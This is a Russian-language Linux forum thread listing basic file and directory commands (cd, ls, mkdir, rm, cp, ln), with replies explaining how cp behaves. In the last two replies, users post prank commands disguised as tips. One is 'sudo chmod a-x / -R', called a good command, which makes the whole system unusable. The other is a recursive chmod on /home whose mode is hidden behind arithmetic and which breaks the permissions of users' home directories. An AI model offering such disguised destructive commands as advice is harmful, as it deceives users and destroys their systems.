Внедрение самых передовых решений и технологий.
Поддержка и сопровождение ваших сервисов.
Выполнение работ под "ключ", от покупки сервера, до настройки автоматизации процессов. 8(977)608-78-62 adm@nixm.ru
Работа с файлами и директориями
- ALEXX
- Администратор
- Сообщения: 1350
- Зарегистрирован: 21 дек 2014, 14:59
- Откуда: Королёв
- Контактная информация:
Работа с файлами и директориями
Код: Выделить всё
cd /home
Код: Выделить всё
cd ..
Код: Выделить всё
cd ../..
Код: Выделить всё
cd
Код: Выделить всё
cd ~user
Код: Выделить всё
cd -
Код: Выделить всё
pwd
Код: Выделить всё
ls
Код: Выделить всё
ls -F
Код: Выделить всё
ls -l
Код: Выделить всё
ls -a
Код: Выделить всё
ls *[0-9]*
Код: Выделить всё
tree
lstree
Код: Выделить всё
mkdir dir1
Код: Выделить всё
mkdir dir1 dir2
Код: Выделить всё
mkdir -p /tmp/dir1/dir2
Код: Выделить всё
rm -f file1
Код: Выделить всё
rmdir dir1
Код: Выделить всё
rm -rf dir1
Код: Выделить всё
rm -rf dir1 dir2
Код: Выделить всё
mv dir1 new_dir
Код: Выделить всё
cp file1 file2
Код: Выделить всё
cp dir/* .
Код: Выделить всё
cp -a /tmp/dir1 .
Код: Выделить всё
cp -a dir1 dir2
Код: Выделить всё
ln -s file1 lnk1
Код: Выделить всё
ln file1 lnk1
Код: Выделить всё
touch -t 0712250000 fileditest
- Kycok
- Уважаемый участник
- Сообщения: 280
- Зарегистрирован: 16 янв 2015, 06:53
- Откуда: Санкт-Петербург
- Контактная информация:
Re: Работа с файлами и директориями
Re: Работа с файлами и директориями
Или фик с ним?не удалось сохранить владельца «/media/flash/Vektor.part01.rar»: Операция не позволена
Ничего не скопировалось ни с -a ни с -b ни с -r. Как я раньше то копировал?
Хм, всё скопировалось оказывается, но Gentoo ничего не видит
Копирую заново на другом дистре от греха подальше.
-
- Местный говорун
- Сообщения: 579
- Зарегистрирован: 19 янв 2015, 15:56
- Откуда: Russian_federation, какой то
Re: Работа с файлами и директориями
- Oleg65
- Местный говорун
- Сообщения: 859
- Зарегистрирован: 18 янв 2015, 10:56
- Откуда: г.Коломна Моск.обл.
Re: Работа с файлами и директориями
Код: Выделить всё
cp копируемый_файл имя_копии_файла
cp a.txt b.txt
Код: Выделить всё
cp ~/oleg/a.txt .
Скопировать целую директорию со всем содержимым можно используя опции -r, -R. Почему существуют для одной утилиты две одинаковые опции? -R - будет работать на всех ОС. -r, на некоторых ОС может не работать, и копирует символические ссылки, как простые файлы.
Есть маленькая тонкость - если целевая директория уже существует, то в ней создается поддиректория, с именем исходной директории, и уже в нее копируется все содержимое исходной директории. Если целевая директория не существует (еще не создана), то создается новая директория, куда и копируется все содержимое исходной директории, но не сама директория.
Кроме того: Если последний аргумент является существующим каталогом, то cp копирует каждый исходный файл в этот каталог (сохраняя имена). В противном случае, если задано только два файла, то cp копирует первый файл во второй. Права доступа к файлам и директориям будут такими же, как и у оригинальных файлов, но в новых правах будут сброшены биты sticky, setuid и setgid. Ну, в кратце, как-то так. Дополняйте. И, важно, при копировании в целевой файл - он не дописывается, т.е. в него не добавляется, а переписывается!!! Это нужно помнить и при архивировании!
Re: Работа с файлами и директориями
Вот хорошая команда ... работы с файлами и директориями:Работа с файлами и директориями
Код: Выделить всё
$ sudo chmod a-x / -R
- ВолшебныйПомошник
- Молчаливый гость
- Сообщения: 7
- Зарегистрирован: 16 апр 2017, 22:25
Re: Работа с файлами и директориями
b=$((1000-333));chmod -R $b /home
Пруф команда.